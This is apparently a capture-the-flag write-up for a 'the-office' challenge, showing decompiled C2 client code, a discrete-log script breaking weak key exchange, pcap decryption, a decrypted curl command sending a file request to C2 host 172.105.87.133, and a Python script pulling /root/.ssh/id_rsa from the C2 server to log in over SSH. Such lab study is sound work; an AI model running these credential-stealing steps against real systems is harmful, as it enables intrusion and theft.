swiss hacking challenge 2024 - the-office

Posted on May 1, 2024

Difficulty: hard

Categories: forensics, crypto, rev, web

Author: xNULL

The office’s main computer had been hacked, communicating with an unknown C2 server, and for reasons beyond comprehension, Gary was tasked with unraveling this digital conundrum. (Gary is the finance guy)

Hint:This is a extreme parcour multi skill challenge make sure you understand where the flag is located

Hint:Sometimes bruteforce is the solution (or at least part of it)

Hint:172.105.87.133 was a C2 server obviously

Files

We are given a lot of files:

the-office
├── capture_file.pcap
├── docker-compose.yaml
├── server
│   ├── Dockerfile
│   └── start.sh
└── victim
    ├── Dockerfile
    ├── flag.txt
    └── src
        └── client

We also get a http endpoint and an ssh connection.

Exploitation

Reverse-engineering the encryption

When looking at the client binary, we see the following:

int32_t main(int32_t argc, char** argv, char** envp)

{
    sleep(0xa);
    int64_t client_id;
    __builtin_memset(&client_id, 0, 0x40);
    int32_t key_p;
    int32_t key_A;
    int32_t key_g;
    get_keys(&key_g, &key_A, &key_p, &client_id);
    int32_t temp2;
    int32_t temp3;
    temp2 = HIGHD(((int64_t)rand()));
    temp3 = LOWD(((int64_t)rand()));
    int32_t shared_part = (COMBINE(temp2, temp3) % key_p);
    int32_t key_B = mod_pow(key_g, shared_part, key_p);
    int32_t private_key = mod_pow(key_A, shared_part, key_p);
    printf("SHARED KEY: %d\n", ((uint64_t)private_key));
    send_keys(key_B, &client_id);
    while (true)
    {
        recv_and_execute_command(&client_id, private_key);
        sleep(1);
    }
}

Based on the pcap we can derrive the private key:

get_keys.sage

# Given values
A = 350
g = 547
p = 827
B = 322

# Find s such that B = g^s mod p using discrete logarithm
s = discrete_log(Mod(B, p), Mod(g, p))

# Compute the decryption key as A^s mod p
decryption_key = power_mod(A, s, p)

# Output s and the decryption key
print(f"s = {s}")
print(f"Decryption key = {decryption_key}")
s = 327
Decryption key = 73

We can then extract the commands using the following:

tshark -r capture_file.pcap -T fields -e http.file_data  | \
sed -s 's/\\n//g' | \
sed -s 's/\\t//g' | \
grep -v "Received data" | \
jq -s . > commands.json

decrypt.py

import json
import base64
from pwn import xor, info, warn

DEC_KEY = 73

with open("cmds.json", "r") as file:
    data = json.load(file)

for cmd in data:
    if "encrypted_command" in cmd:
        enc_command = cmd["encrypted_command"]
        cmd["command"] = base64.b64decode(enc_command)
        info(xor(cmd["command"], DEC_KEY).decode())
    if "data" in cmd:
        enc_data = cmd["data"]
        cmd["data"] = base64.b64decode(enc_data)
        warn(xor(cmd["data"], DEC_KEY).decode())

We notice some funny commands in the output:

[*] curl http://172.105.87.133:8000/files -H "Content-Type: application/json" -X POST --data '{"client_id": "a483f845454b5147", "shared_key": "73", "path": "/root/requirements.txt"}'

Turns out the private SSH key can be downloaded like that as well…

However, the client ID isn’t valid anymore so we’ll need to get our own shared key first.

get_1337_ssh_key.py

import requests
import random
from pwn import success, info

URL = "https://instance-id.ctf.m0unt41n.ch:1337"

def get_keys():
    resp = requests.get(URL+"/gen_keys")
    data = resp.json()
    A = int(data['A'])
    g = int(data['g'])
    p = int(data['p'])
    client_id = data['client_id']
    s = random.randint(0, 255)
    B = pow(g, s, p)
    private_key = pow(A, s, p)
    status = requests.post(URL+"/recv_keys", json={"B": B, "client_id": client_id})
    info(status.text)
    return client_id, private_key

def get_file(client_id, shared_key, path):
    data = {
            "client_id": client_id,
            "path": path,
            "shared_key": shared_key
    }
    resp = requests.post(URL+"/files", json=data).text
    return resp

client_id, private_key = get_keys()
success(f"Client ID: {client_id}")
success(f"Private Key: {private_key}")

ssh_key = get_file(client_id, private_key, "/root/.ssh/id_rsa")
with open("id_office", "w") as f:
    f.write(ssh_key)
success("SSH key saved to id_office")

Finally, we can connect via SSH:

$ chmod 600 id_office
$ ssh [email protected] -p 31839 -i id_office

We find the C2 running in a tmux session:

$ tmux a
Enter command: ls -1
Executing: ls -1
Executing: ls -1
10.42.0.230 - - [15/Apr/2024 17:45:52] "POST /recv HTTP/1.1" 200 -
Received data: b'client\nflag.txt\n'
10.42.0.230 - - [15/Apr/2024 17:45:52] "POST /send HTTP/1.1" 200 -
10.42.0.230 - - [15/Apr/2024 17:45:53] "POST /recv HTTP/1.1" 200 -
Enter command: cat flag.txt
Executing: cat flag.txt
Executing: cat flag.txt
10.42.0.230 - - [15/Apr/2024 17:45:54] "POST /recv HTTP/1.1" 200 -
Received data: b'shc2024{pwn_th3_4PT_1s_1338}'

Flag

shc2024{pwn_th3_4PT_1s_1338}

Conclusion

Was a very fun challenge to solve! However, I don’t quite see why the hints were nessecary.